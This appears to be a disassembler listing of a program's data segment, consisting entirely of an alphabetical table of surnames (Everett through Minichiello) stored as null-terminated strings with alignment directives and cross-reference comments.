aEverett	db 'Everett',0          ; DATA XREF: seg002:004400A4o
aFabbris	db 'Fabbris',0          ; DATA XREF: seg002:004400A8o
aFagan		db 'Fagan',0            ; DATA XREF: seg002:004400ACo
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: seg002:004400B0o
		align 4
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: seg002:004400B4o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: seg002:004400B8o
aFaris		db 'Faris',0            ; DATA XREF: seg002:004400BCo
		align 4
aFarone		db 'Farone',0           ; DATA XREF: seg002:004400C0o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: seg002:004400C4o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: seg002:004400C8o
		align 4
aFates		db 'Fates',0            ; DATA XREF: seg002:004400CCo
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: seg002:004400D0o
		align 4
aFejzo		db 'Fejzo',0            ; DATA XREF: seg002:004400D4o
		align 10h
aFeldman	db 'Feldman',0          ; DATA XREF: seg002:004400D8o
aFernald	db 'Fernald',0          ; DATA XREF: seg002:004400DCo
aFernandes	db 'Fernandes',0        ; DATA XREF: seg002:004400E0o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: seg002:004400E4o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: seg002:004400E8o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: seg002:004400ECo
		align 4
aFido		db 'Fido',0             ; DATA XREF: seg002:004400F0o
		align 4
aField		db 'Field',0            ; DATA XREF: seg002:004400F4o
		align 4
aFink		db 'Fink',0             ; DATA XREF: seg002:004400F8o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: seg002:004400FCo
aFinnegan	db 'Finnegan',0         ; DATA XREF: seg002:00440100o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: seg002:00440104o
aFisk		db 'Fisk',0             ; DATA XREF: seg002:00440108o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: seg002:0044010Co
aFlier		db 'Flier',0            ; DATA XREF: seg002:00440110o
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: seg002:00440114o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: seg002:00440118o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: seg002:0044011Co
		align 4
aFortes		db 'Fortes',0           ; DATA XREF: seg002:00440120o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: seg002:00440124o
aFossey		db 'Fossey',0           ; DATA XREF: seg002:00440128o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: seg002:0044012Co
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: seg002:00440130o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: seg002:00440134o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: seg002:00440138o
		align 10h
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: seg002:0044013Co
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: seg002:00440140o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: seg002:00440144o
		align 4
aFried		db 'Fried',0            ; DATA XREF: seg002:00440148o
		align 4
aFriedland	db 'Friedland',0        ; DATA XREF: seg002:0044014Co
		align 4
aFrisken	db 'Frisken',0          ; DATA XREF: seg002:00440150o
aFrowiss	db 'Frowiss',0          ; DATA XREF: seg002:00440154o
aFryberger	db 'Fryberger',0        ; DATA XREF: seg002:00440158o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: seg002:0044015Co
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: seg002:00440160o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: seg002:00440164o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: seg002:00440168o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: seg002:0044016Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: seg002:00440170o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: seg002:00440174o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: seg002:00440178o
		align 4
aGalwey		db 'Galwey',0           ; DATA XREF: seg002:0044017Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: seg002:00440180o
aGarfield	db 'Garfield',0         ; DATA XREF: seg002:00440184o
		align 10h
aGarman		db 'Garman',0           ; DATA XREF: seg002:00440188o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: seg002:0044018Co
aGeller		db 'Geller',0           ; DATA XREF: seg002:00440190o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: seg002:00440194o
		align 4
aGeorgi		db 'Georgi',0           ; DATA XREF: seg002:00440198o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: seg002:0044019Co
aGhorai		db 'Ghorai',0           ; DATA XREF: seg002:004401A0o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: seg002:004401A4o
aGibson		db 'Gibson',0           ; DATA XREF: seg002:004401A8o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: seg002:004401ACo
aGili		db 'Gili',0             ; DATA XREF: seg002:004401B0o
		align 4
aGill		db 'Gill',0             ; DATA XREF: seg002:004401B4o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: seg002:004401B8o
		align 10h
aGist		db 'Gist',0             ; DATA XREF: seg002:004401BCo
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: seg002:004401C0o
aGlegg		db 'Glegg',0            ; DATA XREF: seg002:004401C4o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: seg002:004401C8o
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: seg002:004401CCo
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: seg002:004401D0o
		align 4
aGood		db 'Good',0             ; DATA XREF: seg002:004401D4o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: seg002:004401D8o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: seg002:004401DCo
		align 4
aGozzi		db 'Gozzi',0            ; DATA XREF: seg002:004401E0o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: seg002:004401E4o
aGreenberg	db 'Greenberg',0        ; DATA XREF: seg002:004401E8o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: seg002:004401ECo
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: seg002:004401F0o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: seg002:004401F4o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: seg002:004401F8o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: seg002:004401FCo
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: seg002:00440200o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: seg002:00440204o
		align 4
aGunn		db 'Gunn',0             ; DATA XREF: seg002:00440208o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: seg002:0044020Co
aHa		db 'Ha',0               ; DATA XREF: seg002:00440210o
		align 4
aHaar		db 'Haar',0             ; DATA XREF: seg002:00440214o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: seg002:00440218o
aHackshaw	db 'Hackshaw',0         ; DATA XREF: seg002:0044021Co
		align 4
aHaley		db 'Haley',0            ; DATA XREF: seg002:00440220o
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: seg002:00440224o
aHallowell	db 'Hallowell',0        ; DATA XREF: seg002:00440228o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: seg002:0044022Co
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: seg002:00440230o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: seg002:00440234o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: seg002:00440238o
		align 10h
aHand		db 'Hand',0             ; DATA XREF: seg002:0044023Co
		align 4
aHanssen	db 'Hanssen',0          ; DATA XREF: seg002:00440240o
aHarding	db 'Harding',0          ; DATA XREF: seg002:00440244o
aHargraves	db 'Hargraves',0        ; DATA XREF: seg002:00440248o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: seg002:0044024Co
		align 4
aHarrigan	db 'Harrigan',0         ; DATA XREF: seg002:00440250o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: seg002:00440254o
aHartmann	db 'Hartmann',0         ; DATA XREF: seg002:00440258o
		align 4
aHartnett	db 'Hartnett',0         ; DATA XREF: seg002:0044025Co
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: seg002:00440260o
aHaviaras	db 'Haviaras',0         ; DATA XREF: seg002:00440264o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: seg002:00440268o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: seg002:0044026Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: seg002:00440270o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: seg002:00440274o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: seg002:00440278o
		align 4
aHeft		db 'Heft',0             ; DATA XREF: seg002:0044027Co
		align 4
aHeiland	db 'Heiland',0          ; DATA XREF: seg002:00440280o
aHellman	db 'Hellman',0          ; DATA XREF: seg002:00440284o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: seg002:00440288o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: seg002:0044028Co
aHemphill	db 'Hemphill',0         ; DATA XREF: seg002:00440290o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: seg002:00440294o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: seg002:00440298o
		align 4
aHernandez	db 'Hernandez',0        ; DATA XREF: seg002:0044029Co
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: seg002:004402A0o
aHester		db 'Hester',0           ; DATA XREF: seg002:004402A4o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: seg002:004402A8o
aHeyeck		db 'Heyeck',0           ; DATA XREF: seg002:004402ACo
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: seg002:004402B0o
		align 10h
aHind		db 'Hind',0             ; DATA XREF: seg002:004402B4o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: seg002:004402B8o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: seg002:004402BCo
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: seg002:004402C0o
		align 4
aHock		db 'Hock',0             ; DATA XREF: seg002:004402C4o
		align 4
aHoffer		db 'Hoffer',0           ; DATA XREF: seg002:004402C8o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: seg002:004402CCo
aHokanson	db 'Hokanson',0         ; DATA XREF: seg002:004402D0o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: seg002:004402D4o
		align 10h
aHolmes		db 'Holmes',0           ; DATA XREF: seg002:004402D8o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: seg002:004402DCo
aHolter		db 'Holter',0           ; DATA XREF: seg002:004402E0o
		align 4
aHolway		db 'Holway',0           ; DATA XREF: seg002:004402E4o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: seg002:004402E8o
aHooker		db 'Hooker',0           ; DATA XREF: seg002:004402ECo
		align 10h
aHopkins	db 'Hopkins',0          ; DATA XREF: seg002:004402F0o
aHorsley	db 'Horsley',0          ; DATA XREF: seg002:004402F4o
aHoshida	db 'Hoshida',0          ; DATA XREF: seg002:004402F8o
aHostage	db 'Hostage',0          ; DATA XREF: seg002:004402FCo
aHottle		db 'Hottle',0           ; DATA XREF: seg002:00440300o
		align 4
aHoward		db 'Howard',0           ; DATA XREF: seg002:00440304o
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: seg002:00440308o
aHuey		db 'Huey',0             ; DATA XREF: seg002:0044030Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: seg002:00440310o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: seg002:00440314o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: seg002:00440318o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: seg002:0044031Co
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: seg002:00440320o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: seg002:00440324o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: seg002:00440328o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: seg002:0044032Co
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: seg002:00440330o
		align 10h
aIgarashi	db 'Igarashi',0         ; DATA XREF: seg002:00440334o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: seg002:00440338o
aInniss		db 'Inniss',0           ; DATA XREF: seg002:0044033Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: seg002:00440340o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: seg002:00440344o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: seg002:00440348o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: seg002:0044034Co
		align 4
aIyer		db 'Iyer',0             ; DATA XREF: seg002:00440350o
		align 4
aJacenko	db 'Jacenko',0          ; DATA XREF: seg002:00440354o
aJackson	db 'Jackson',0          ; DATA XREF: seg002:00440358o
aJagers		db 'Jagers',0           ; DATA XREF: seg002:0044035Co
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: seg002:00440360o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: seg002:00440364o
		align 4
aJain		db 'Jain',0             ; DATA XREF: seg002:00440368o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: seg002:0044036Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: seg002:00440370o
		align 10h
aJarnagin	db 'Jarnagin',0         ; DATA XREF: seg002:00440374o
		align 4
aJarrell	db 'Jarrell',0          ; DATA XREF: seg002:00440378o
aJay		db 'Jay',0              ; DATA XREF: seg002:0044037Co
aJeffers	db 'Jeffers',0          ; DATA XREF: seg002:00440380o
aJellis		db 'Jellis',0           ; DATA XREF: seg002:00440384o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: seg002:00440388o
aJespersen	db 'Jespersen',0        ; DATA XREF: seg002:0044038Co
		align 4
aJewett		db 'Jewett',0           ; DATA XREF: seg002:00440390o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: seg002:00440394o
aJohannsen	db 'Johannsen',0        ; DATA XREF: seg002:00440398o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: seg002:0044039Co
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: seg002:004403A0o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: seg002:004403A4o
		align 4
aJucks		db 'Jucks',0            ; DATA XREF: seg002:004403A8o
		align 10h
aJuliano	db 'Juliano',0          ; DATA XREF: seg002:004403ACo
aJulious	db 'Julious',0          ; DATA XREF: seg002:004403B0o
aKabbash	db 'Kabbash',0          ; DATA XREF: seg002:004403B4o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: seg002:004403B8o
		align 4
aKafadar	db 'Kafadar',0          ; DATA XREF: seg002:004403BCo
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: seg002:004403C0o
aKaligian	db 'Kaligian',0         ; DATA XREF: seg002:004403C4o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: seg002:004403C8o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: seg002:004403CCo
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: seg002:004403D0o
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: seg002:004403D4o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: seg002:004403D8o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: seg002:004403DCo
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: seg002:004403E0o
		align 4
aKasten		db 'Kasten',0           ; DATA XREF: seg002:004403E4o
		align 10h
aKawachi	db 'Kawachi',0          ; DATA XREF: seg002:004403E8o
aKee		db 'Kee',0              ; DATA XREF: seg002:004403ECo
aKeenan		db 'Keenan',0           ; DATA XREF: seg002:004403F0o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: seg002:004403F4o
aKeith		db 'Keith',0            ; DATA XREF: seg002:004403F8o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: seg002:004403FCo
		align 4
aKelsey		db 'Kelsey',0           ; DATA XREF: seg002:00440400o
		align 4
aKempton	db 'Kempton',0          ; DATA XREF: seg002:00440404o
aKemsley	db 'Kemsley',0          ; DATA XREF: seg002:00440408o
aKendall	db 'Kendall',0          ; DATA XREF: seg002:0044040Co
aKerry		db 'Kerry',0            ; DATA XREF: seg002:00440410o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: seg002:00440414o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: seg002:00440418o
		align 4
aKimmel		db 'Kimmel',0           ; DATA XREF: seg002:0044041Co
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: seg002:00440420o
aKimura		db 'Kimura',0           ; DATA XREF: seg002:00440424o
		align 4
aKindall	db 'Kindall',0          ; DATA XREF: seg002:00440428o
aKinsley	db 'Kinsley',0          ; DATA XREF: seg002:0044042Co
aKippenberger	db 'Kippenberger',0     ; DATA XREF: seg002:00440430o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: seg002:00440434o
aKittridge	db 'Kittridge',0        ; DATA XREF: seg002:00440438o
		align 10h
aKleckner	db 'Kleckner',0         ; DATA XREF: seg002:0044043Co
		align 4
aKleiman	db 'Kleiman',0          ; DATA XREF: seg002:00440440o
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: seg002:00440444o
aKlemperer	db 'Klemperer',0        ; DATA XREF: seg002:00440448o
		align 4
aKling		db 'Kling',0            ; DATA XREF: seg002:0044044Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: seg002:00440450o
aKlint		db 'Klint',0            ; DATA XREF: seg002:00440454o
		align 4
aKnuff		db 'Knuff',0            ; DATA XREF: seg002:00440458o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: seg002:0044045Co
aKoch		db 'Koch',0             ; DATA XREF: seg002:00440460o
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: seg002:00440464o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: seg002:00440468o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: seg002:0044046Co
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: seg002:00440470o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: seg002:00440474o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: seg002:00440478o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: seg002:0044047Co
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: seg002:00440480o
		align 4
aKovaks		db 'Kovaks',0           ; DATA XREF: seg002:00440484o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: seg002:00440488o
aKrailo		db 'Krailo',0           ; DATA XREF: seg002:0044048Co
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: seg002:00440490o
aKraus		db 'Kraus',0            ; DATA XREF: seg002:00440494o
		align 4
aKroemer	db 'Kroemer',0          ; DATA XREF: seg002:00440498o
aKrysiak	db 'Krysiak',0          ; DATA XREF: seg002:0044049Co
aKuenzli	db 'Kuenzli',0          ; DATA XREF: seg002:004404A0o
aKumar		db 'Kumar',0            ; DATA XREF: seg002:004404A4o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: seg002:004404A8o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: seg002:004404ACo
		align 4
aLa		db 'La',0               ; DATA XREF: seg002:004404B0o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: seg002:004404B4o
aLafler		db 'Lafler',0           ; DATA XREF: seg002:004404B8o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: seg002:004404BCo
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: seg002:004404C0o
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: seg002:004404C4o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: seg002:004404C8o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: seg002:004404CCo
		align 4
aLanzit		db 'Lanzit',0           ; DATA XREF: seg002:004404D0o
		align 4
aLaserna	db 'Laserna',0          ; DATA XREF: seg002:004404D4o
aLashley	db 'Lashley',0          ; DATA XREF: seg002:004404D8o
aLawless	db 'Lawless',0          ; DATA XREF: seg002:004404DCo
aLecar		db 'Lecar',0            ; DATA XREF: seg002:004404E0o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: seg002:004404E4o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: seg002:004404E8o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: seg002:004404ECo
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: seg002:004404F0o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: seg002:004404F4o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: seg002:004404F8o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: seg002:004404FCo
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: seg002:00440500o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: seg002:00440504o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: seg002:00440508o
		align 4
aLight		db 'Light',0            ; DATA XREF: seg002:0044050Co
		align 4
aLightfoot	db 'Lightfoot',0        ; DATA XREF: seg002:00440510o
		align 10h
aLim		db 'Lim',0              ; DATA XREF: seg002:00440514o
aLinares	db 'Linares',0          ; DATA XREF: seg002:00440518o
aLinda		db 'Linda',0            ; DATA XREF: seg002:0044051Co
		align 4
aLinder		db 'Linder',0           ; DATA XREF: seg002:00440520o
		align 4
aLine_0		db 'Line',0             ; DATA XREF: seg002:00440524o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: seg002:00440528o
aLinzee		db 'Linzee',0           ; DATA XREF: seg002:0044052Co
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: seg002:00440530o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: seg002:00440534o
		align 4
aLittle		db 'Little',0           ; DATA XREF: seg002:00440538o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: seg002:0044053Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: seg002:00440540o
		align 4
aLivi		db 'Livi',0             ; DATA XREF: seg002:00440544o
		align 10h
aLivolsi	db 'Livolsi',0          ; DATA XREF: seg002:00440548o
aLizardo	db 'Lizardo',0          ; DATA XREF: seg002:0044054Co
aLocatelli	db 'Locatelli',0        ; DATA XREF: seg002:00440550o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: seg002:00440554o
		align 4
aLoss		db 'Loss',0             ; DATA XREF: seg002:00440558o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: seg002:0044055Co
aLowenstein	db 'Lowenstein',0       ; DATA XREF: seg002:00440560o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: seg002:00440564o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: seg002:00440568o
		align 4
aLucas		db 'Lucas',0            ; DATA XREF: seg002:0044056Co
		align 4
aLuciano	db 'Luciano',0          ; DATA XREF: seg002:00440570o
aLuczkow	db 'Luczkow',0          ; DATA XREF: seg002:00440574o
aLuecke		db 'Luecke',0           ; DATA XREF: seg002:00440578o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: seg002:0044057Co
aLuoma		db 'Luoma',0            ; DATA XREF: seg002:00440580o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: seg002:00440584o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: seg002:00440588o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: seg002:0044058Co
aMa		db 'Ma',0               ; DATA XREF: seg002:00440590o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: seg002:00440594o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: seg002:00440598o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: seg002:0044059Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: seg002:004405A0o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: seg002:004405A4o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: seg002:004405A8o
		align 4
aMacy		db 'Macy',0             ; DATA XREF: seg002:004405ACo
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: seg002:004405B0o
aMaggio		db 'Maggio',0           ; DATA XREF: seg002:004405B4o
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: seg002:004405B8o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: seg002:004405BCo
		align 4
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: seg002:004405C0o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: seg002:004405C4o
aMalatesta	db 'Malatesta',0        ; DATA XREF: seg002:004405C8o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: seg002:004405CCo
		align 10h
aMalova		db 'Malova',0           ; DATA XREF: seg002:004405D0o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: seg002:004405D4o
aMandel		db 'Mandel',0           ; DATA XREF: seg002:004405D8o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: seg002:004405DCo
aMantovan	db 'Mantovan',0         ; DATA XREF: seg002:004405E0o
		align 10h
aMarch_0	db 'March',0            ; DATA XREF: seg002:004405E4o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: seg002:004405E8o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: seg002:004405ECo
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: seg002:004405F0o
		align 4
aMargetts	db 'Margetts',0         ; DATA XREF: seg002:004405F4o
		align 4
aMarques	db 'Marques',0          ; DATA XREF: seg002:004405F8o
aMartinez	db 'Martinez',0         ; DATA XREF: seg002:004405FCo
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: seg002:00440600o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: seg002:00440604o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: seg002:00440608o
		align 4
aMass		db 'Mass',0             ; DATA XREF: seg002:0044060Co
		align 10h
aMatalka	db 'Matalka',0          ; DATA XREF: seg002:00440610o
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: seg002:00440614o
		align 4
aMatsukata	db 'Matsukata',0        ; DATA XREF: seg002:00440618o
		align 10h
aMattson	db 'Mattson',0          ; DATA XREF: seg002:0044061Co
aMauzy		db 'Mauzy',0            ; DATA XREF: seg002:00440620o
		align 10h
aMay_0		db 'May',0              ; DATA XREF: seg002:00440624o
aMazzali	db 'Mazzali',0          ; DATA XREF: seg002:00440628o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: seg002:0044062Co
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: seg002:00440630o
aMccaffery	db 'Mccaffery',0        ; DATA XREF: seg002:00440634o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: seg002:00440638o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: seg002:0044063Co
		align 10h
aMcdowell	db 'Mcdowell',0         ; DATA XREF: seg002:00440640o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: seg002:00440644o
aMcfadden	db 'McFadden',0         ; DATA XREF: seg002:00440648o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: seg002:0044064Co
		align 4
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: seg002:00440650o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: seg002:00440654o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: seg002:00440658o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: seg002:0044065Co
aMclane		db 'Mclane',0           ; DATA XREF: seg002:00440660o
		align 4
aMclaren	db 'Mclaren',0          ; DATA XREF: seg002:00440664o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: seg002:00440668o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: seg002:0044066Co
aMeccariello	db 'Meccariello',0      ; DATA XREF: seg002:00440670o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: seg002:00440674o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: seg002:00440678o
aMerikoski	db 'Merikoski',0        ; DATA XREF: seg002:0044067Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: seg002:00440680o
aMerminod	db 'Merminod',0         ; DATA XREF: seg002:00440684o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: seg002:00440688o
aMerz		db 'Merz',0             ; DATA XREF: seg002:0044068Co
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: seg002:00440690o
aMetropolis	db 'Metropolis',0       ; DATA XREF: seg002:00440694o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: seg002:00440698o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: seg002:0044069Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: seg002:004406A0o
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: seg002:004406A4o
		align 4
aMills		db 'Mills',0            ; DATA XREF: seg002:004406A8o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: seg002:004406ACo
		align 4
aMini		db 'Mini',0             ; DATA XREF: seg002:004406B0o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: seg002:004406B4o
